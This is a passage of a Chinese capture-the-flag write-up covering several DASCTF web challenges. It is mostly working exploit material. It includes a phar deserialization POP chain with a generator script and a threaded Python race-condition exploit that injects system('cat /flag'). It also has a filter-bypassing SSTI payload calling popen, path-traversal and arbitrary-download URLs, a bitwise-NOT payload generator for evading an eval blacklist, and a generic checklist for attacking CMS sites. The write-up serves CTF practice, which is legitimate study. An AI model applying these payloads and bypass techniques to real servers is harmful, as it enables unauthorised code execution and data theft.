    $upload->uploadfile();
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
  class Upload {
  public $f;
public $fname;
public $fsize;
function __construct(){
  $this->f = $_FILES;
}
function savefile() {  
  $fname = md5($this->f["file"]["name"]).".png"; 
  if(file_exists('./upload/'.$fname)) { 
    @unlink('./upload/'.$fname);
  }
  move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
  echo "upload success! :D"; 
} 
function __toString(){
  $cont = $this->fname;
  $size = $this->fsize;
  echo $cont->$size;
  return 'this_is_upload';
}
function uploadfile() { 
  if($this->file_check()) { 
    $this->savefile(); 
  } 
}
function file_check() { 
  $allowed_types = array("png");
  $temp = explode(".",$this->f["file"]["name"]);
  $extension = end($temp); 
  if(empty($extension)) { 
    echo "what are you uploaded? :0";
    return false;
  }
  else{ 
    if(in_array($extension,$allowed_types)) {
      $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
      $f = file_get_contents($this->f["file"]["tmp_name"]);
      if(preg_match_all($filter,$f)){
        echo 'what are you doing!! :C';
        return false;
      }
      return true; 
    } 
    else { 
      echo 'png onlyyy! XP'; 
      return false; 
    } 
  }
}
}
class Show{
  public $source;
  public function __construct($fname)
  {
    $this->source = $fname;
  }
  public function show()
  {
    if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
      die('illegal fname :P');
    } else {
      echo file_get_contents($this->source);
      $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
      echo "<img src={$src} />";
    }

  }
  function __get($name)
  {
    $this->ok($name);
  }
  public function __call($name, $arguments)
  {
    if(end($arguments)=='phpinfo'){
      phpinfo();
    }else{
      $this->backdoor(end($arguments));
    }
    return $name;
  }
  public function backdoor($door){
    include($door);
    echo "hacked!!";
  }
  public function __wakeup()
  {
    if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
      die("illegal fname XD");
            }
        }
    }
    class Test{
        public $str;
        public function __construct(){
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str;
        }
    }
?>

class.php中的Show类的show方法没有过滤phar协议，配合文件上传的功能可以进行phar文件反序列化。

1
2
3
4
public function backdoor($door){
    include($door);
    echo "hacked!!";
  }

backdoor方法存在文件包含，通过upload上传文件。

绕过upload过滤

1
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';

禁止了php的标识符和一些函数，所以传不了马，但可以利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性，传一个压缩过后的phar文件进去，而且限制文件后缀为png。

构造pop链

从Test::_destruct开始

1
2
3
4
public function __destruct()
{
    echo $this->str;
}

将$this->str赋值为Upload类，这样会触发Upload::__tostring方法

1
2
3
4
5
6
function __toString(){
    $cont = $this->fname;
    $size = $this->fsize;
    echo $cont->$size;
    return 'this_is_upload';
}

这个方法有一个赋值操作，可以将$this->fname赋值为Show类，把$this->fsize赋值为想要包含的文件的文件名，因为在Show类中不存在该文件名，所以就会调用Show::__get方法，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function __get($name)
{
    $this->ok($name);
}
该类不存在ok方法，所以又会调用Show::__call方法

public function __call($name, $arguments)
{
    if(end($arguments)=='phpinfo'){
        phpinfo();
    }else{
        $this->backdoor(end($arguments));
    }
    return $name;
}

Show::__call方法又调用了Show::backdoor并以文件名为参数，而Show::backdoor使用了一个include包含了传入文件名，这样就可以进行文件包含了。

phar文件生成脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Upload{
    public $fname;
    public $fsize;  
}
class Show{
    public $source;
}
class Test{
    public $str;
}
$upload = new Upload();
$show = new Show();
$test-new Test();
$test->str=$upload;
$upload->fname=$show;
$upload->fsize='tmp/sess_dre0';

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

压缩为zip压缩包并改后缀名为png上传该phar文件

文件包含

利用php的session上传进度以及文件上传的条件竞争进行，编写python脚本进行文件包含

exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys,threading,requests,re
from hashlib import md5

flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
    global check,flag
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
        params = {
            'f': 'phar://upload/'+fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
            check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
    global check
    while check:
        data={
            'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
        }
        cookies={
            'PHPSESSID': 'dre0'
        }
        files={
            'file': ('dre0.png', b'cha'*300)
        }
        s.post(url=url,data=data,cookies=cookies,files=files)

def exp():
    url = "http://72602ba27f92e0fe89fb4680.http-ctf2.dasctf.com/"
    fileurl = url+'file.php'
    uploadurl = url+'upload.php'

    num = threading.active_count()
    # 上传phar文件
    file = {'file': open('./shell.png', 'rb')}
    ret = requests.post(url=uploadurl, files=file)
    # 文件上传条件竞争获取flag
    event=threading.Event()
    s1 = requests.Session()
    s2 = requests.Session()
    for i in range(1,10):
        threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
    for i in range(1,10):
        threading.Thread(target=include,args=(fileurl,s2,)).start()
    event.set()
    while threading.active_count() != num:
        pass

if __name__ == '__main__':
    exp()
    print(flag)

非预期

payload：

1
file.php?f=/flag&_=1658663645618

直接读取flag

cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

  if (isset($_GET['cmd'])) {
  $cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
  $cmd = escapeshellarg($cmd);
  system('cat ' . $cmd);
}
} else {
  highlight_file(__FILE__);
}
?>

命令执行：system('cat ' . $cmd); 将用户输入拼接到 cat 命令后执行。

过滤：preg_match('/flag/i',$cmd) 禁止输入中包含 “flag” 字符串（不区分大小写）。

防御：escapeshellarg($cmd) 会将参数用单引号包裹，并转义内部的单引号。这意味着你无法通过常规的 ;、|、$() 等方式进行命令注入或拼接。

一直没绕过去，找了一下wp

发现有一个 hint：管理员曾访问过flag

那我们访问一下日志，先随便输一个不存在的url，发现本题是Nginx环境

1
/var/log/nginx/access.log

actuator-env

可以看到flag存放的位置在this_is_final_flag_e2a457126032b42d.php

payload：

1
?cmd=this_is_final_fl%aaag_e2a457126032b42d.php

BabySSTI_Three

查看源码发现，hint：<!--This is Hint: Waf Has Been Updated Again, More And More Safe!-->

先测一下模板

1
?name={{7*7}}

经过测试，该题过滤了_、:、空格和class等关键字

空格用[]绕过，_用16进制绕过

payload：

1
2
?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}
//[]['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag_in_h3r3_52daad').read()

easycms

先了解一下 **cms **是啥

CMS漏洞利用

这类题的核心是：给一个现成的CMS（内容管理系统，如WordPress、Joomla、DedeCMS等），需要找到版本对应的已知漏洞，或通过代码审计发现逻辑缺陷，最终拿到Flag。

第一步：信息收集（这是最关键的一步）

第一步，尽可能多地获取目标信息：

  1. 识别CMS类型和版本：
    • 查看网页底部版权信息（如 Powered by DedeCMS）。
    • 查看网页源代码（Ctrl+U），搜索 generator、version 等关键字。
    • 访问特殊路径：/robots.txt、/readme.txt、/CHANGELOG.md，或 /admin/、/wp-admin/（WordPress默认后台）。
    • 使用浏览器插件（如 Wappalyzer）自动识别。
  2. 目录扫描：
    • 使用工具（如 Dirsearch、Gobuster）扫描隐藏目录，可能会找到 /install/（安装目录）、/upload/（上传目录）、/backup/（备份文件）或 .git 泄露。
  3. 查看网络请求：
    • 用浏览器F12查看网络请求，关注Cookie中是否有特殊参数，或者响应头中是否暴露了服务器信息。

第二步：漏洞利用（根据CMS类型展开）

得到版本后，你有以下三条路可走：

路线A：利用公开漏洞

  • 去 Exploit-DB、CNVD、Seebug 或 CVE 官网搜索该CMS版本。
  • 例如：DedeCMS 5.7 有著名的任意用户重置漏洞；ThinkPHP（不是CMS但常被用于CMS框架）有远程代码执行漏洞。
  • 工具：Burp Suite（抓包改包）是基础，熟练使用 Metasploit 或 Pocsuite3 跑已知POC/EXP也很高效。

路线B：代码审计）

如果题目给了源码压缩包，或者有文件包含漏洞能读取源码：

  1. 重点看 用户输入点：$_GET、$_POST、$_COOKIE，看是否过滤严格。
  2. 重点看 上传功能：upload 函数，看是否只检查前端MIME或扩展名，能否上传 shell.php 或 .htaccess。
  3. 重点看 SQL拼接：搜索 select 语句，看是否使用预编译，如果直接拼接变量，就有SQL注入。
  4. 找 后台功能：如果拿到了后台权限，找模板编辑、插件管理、数据库备份等功能，这些地方容易直接写Shell。

路线C：逻辑漏洞

如果找不到现成漏洞，就手动测试业务逻辑：

  • 万能密码：尝试 admin' or 1=1# 登录后台（虽然现在很少见，但值得一试）。
  • 越权操作：登录普通账号后，尝试修改URL中的 uid=1 为 uid=2，看能否看到其他用户信息。
  • 找回密码：看验证码是否可爆破，或邮箱Token是否可预测。

第三步：Get Shell & 读Flag

拿到权限后，最终目的是读文件。常见Flag位置：

  • Linux系统：/flag、/var/www/html/flag.txt、/root/flag.txt
  • Windows系统：C:\flag.txt
  • 如果不知道路径，在Web目录下用PHP函数 system('find / -name "*flag*"'); 寻找。

解题

先用dirsearch扫一下，扫到了/admin.php，访问

是一个登录页面

1
2
username：admin
password：12345

方法一：任意文件下载

设计—自定义—导出主题—保存

下载下来的文件右键复制下载链接

1
https://4330b4662e56d1d0c5fa5dae.http-ctf2.dasctf.com/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

最后是一串base64 编码，解密后是/var/www/html/system/tmp/theme/default/1.zip，而且是文件的绝对路径

我们直接包含/flag就可以了，base64加密一下成为L2ZsYWc=

访问

1
https://4330b4662e56d1d0c5fa5dae.http-ctf2.dasctf.com/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

然后把下载下来的flag.zip改成txt就好了

方法二：文件上传

设计—自定义—首页—编辑，选择php源代码

actuator-env
保存的时候要我先创建一个linf文件，这个文件名是每个人不一样的。

actuator-env

设计—组件—素材库—上传素材

先上传一个txt文件然后编辑它的名称，改成../../../../../system/tmp/linf，形成目录穿越

actuator-env

然后回去编辑php代码

返回网站得到flag

魔法浏览器

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>flag</title>
  </head>
  <body>
    <h1>flag.txt</h1>
    为保证文档安全。请使用魔法浏览器来访问。
    <script type="text/javascript">
      let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35";    console["\x6c\x6f\x67"](ua);
    </script>
  </body>

</html>

看到魔法UA

1
2
3
\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75

bp抓包改UA头，发包，OK了

SimpleRCE

1
2
3
4
5
6
7
<?php
  highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

过滤了好多东西，但是没过滤~、()和%，直接取反绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import re

def generate_neg_payload(s):
    payload = []
    for c in s:
        neg = (~ord(c)) & 0xFF  # 取反并转换为无符号字节
        payload.append(f"%{neg:02X}")
    return ''.join(payload)

def parse_command(cmd):
    # 匹配 function('argument') 格式
    pattern = r'^\s*?(\w+?)\s*?\(\s*?[\'"](.*?)[\'"]\s*?\)\s*?;?'
    match = re.match(pattern, cmd)
    if not match:
        raise ValueError("命令格式错误！请使用 function('argument') 格式")
    return match.group(1), match.group(2)

def main():
    cmd = input("请输入PHP命令（示例：system('ls /')：").strip()
    try:
        func, arg = parse_command(cmd)

        # 生成函数名和参数的取反payload
        func_neg = generate_neg_payload(func)
        arg_neg = generate_neg_payload(arg)
        payload = f"(~{func_neg})(~{arg_neg});"

        print("\n生成的取反Payload：")
        print(payload)

    except Exception as e:
        print(f"错误：{str(e)}")

if __name__ == "__main__":
    main()

payload：

1
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);